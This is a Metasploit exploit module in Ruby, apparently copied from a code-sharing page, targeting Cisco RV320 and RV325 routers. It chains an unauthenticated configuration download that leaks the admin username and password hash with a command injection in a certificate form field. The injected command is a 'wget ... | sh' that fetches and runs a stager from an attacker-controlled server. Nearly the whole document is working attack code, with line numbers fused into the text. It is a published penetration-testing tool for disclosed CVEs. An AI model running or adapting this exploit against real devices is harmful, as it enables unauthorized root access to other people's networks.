Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/cisco_rv32x_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking789include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Remote::HttpServer::HTML11include Msf::Exploit::CmdStager1213def initialize(info={})14super(update_info(info,15'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",16'Description' => %q{17This exploit module combines an information disclosure (CVE-2019-1653)18and a command injection vulnerability (CVE-2019-1652) together to gain19unauthenticated remote code execution on Cisco RV320 and RV325 small business20routers. Can be exploited via the WAN interface of the router. Either via HTTPS21on port 443 or HTTP on port 8007 on some older firmware versions.22},23'License' => MSF_LICENSE,24'Author' => [25'RedTeam Pentesting GmbH', # Discovery, Metasploit26'Philip Huppert', # Discovery27'Benjamin Grap' # Metasploit28],29'References' => [30[ 'CVE','2019-1653' ],31[ 'CVE','2019-1652' ],32[ 'EDB','46243' ],33[ 'BID','106728' ],34[ 'BID','106732' ],35[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],36[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]37],38'Platform' => 'linux',39'Targets' =>40[41[ 'LINUX MIPS64',42{43'Platform' => 'linux',44'Arch' => ARCH_MIPS6445}46]47],48'Payload' =>49{50'BadChars' => ""51},52'CmdStagerFlavor' => [ 'bourne' ],53'Privileged' => true,54'DisclosureDate' => '2018-09-09',55'DefaultTarget' => 0))5657register_options([58Opt::RPORT(8007), # port of Cisco webinterface59OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),60OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),61OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.62])63deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.64deregister_options('SSLCert') # not required since stager only uses HTTP.65end6667def execute_command(cmd, opts = {})68# use generated payload, we don't have to do anything here69end7071def autofilter72true73end7475def on_request_uri(cli, req)76print_status("#{peer} - Payload request received: #{req.uri}")77@cmdstager = generate_cmdstager().join(';')78send_response(cli, "#{@cmdstager}")79end8081def primer82payload_url = get_uri83print_status("Downloading configuration from #{peer}")84if(datastore['USE_SSL'])85print_status("Using SSL connection to router.")86end87res = send_request_cgi({88'uri' => normalize_uri("cgi-bin","config.exp"),89'SSL' => datastore['USE_SSL']90})91unless res92vprint_error('Connection failed.')93return nil94end9596unless res.code == 20097vprint_error('Could not download config. Aborting.')98return nil99end100101print_status("Successfully downloaded config")102username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]103pass = res.body.match(/^PASSWD=(\h+)/)[1]104authkey = "1964300002"105print_status("Got MD5-Hash: #{pass}")106print_status("Loging in as user #{username} using password hash.")107print_status("Using default auth_key #{authkey}")108res2 = send_request_cgi({109'uri' => normalize_uri("cgi-bin","userLogin.cgi"),110'SSL' => datastore['USE_SSL'],111'method' => 'POST',112'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password="113})114115unless res116vprint_error('Connection failed during login. Aborting.')117return nil118end119120unless res.code == 200121vprint_error('Login failed with downloaded credentials. Aborting.')122return nil123end124125#Extract authentication cookies126cookies = res2.get_cookies()127print_status("Successfully logged in as user #{username}.")128print_status("Got cookies: #{cookies}")129print_status("Sending payload. Staging via #{payload_url}.")130#Build staging command131command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")132if(command_string.length <= 63)133print_status("Staging command length looks good. Sending exploit!")134else135vprint_error("Warning: Staging command length probably too long. Trying anyway...")136end137138res3 = send_request_cgi({139'uri' => normalize_uri("certificate_handle2.htm"),140'SSL' => datastore['USE_SSL'],141'method' => 'POST',142'cookie' => cookies,143'vars_get' => {144'type' => '4',145},146'vars_post' => {147'page' => 'self_generator.htm',148'totalRules' => '1',149'OpenVPNRules' => '30',150'submitStatus' => '1',151'log_ch' => '1',152'type' => '4',153'Country' => 'A',154'state' => 'A',155'locality' => 'A',156'organization' => 'A',157'organization_unit' => 'A',158'email' => '[email protected]',159'KeySize' => '512',160'KeyLength' => '1024',161'valid_days' => '30',162'SelectSubject_c' => '1',163'SelectSubject_s' => '1'164},165'data' => "common_name=#{command_string}"166})167unless res3168vprint_error('Connection failed while sending command. Aborting.')169return nil170end171172unless res3.code == 200173vprint_error('Sending command not successful.')174return nil175end176print_status("Sending payload timed out. Waiting for stager to connect...")177end178179def check180#Check if device is vulnerable by downloading the config181res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})182183unless res184vprint_error('Connection failed.')185return CheckCode::Unknown186end187188unless res.code == 200189return CheckCode::Safe190end191192unless res.body =~ /PASSWD/193return CheckCode::Detected194end195196CheckCode::Vulnerable197end198199def exploit200# Main function.201# Setting delay for the Stager.202Timeout.timeout(datastore['HTTPDELAY']) {super}203rescue Timeout::Error204print_status("Waiting for stager connection timed out. Try increasing the delay.")205end206end207208209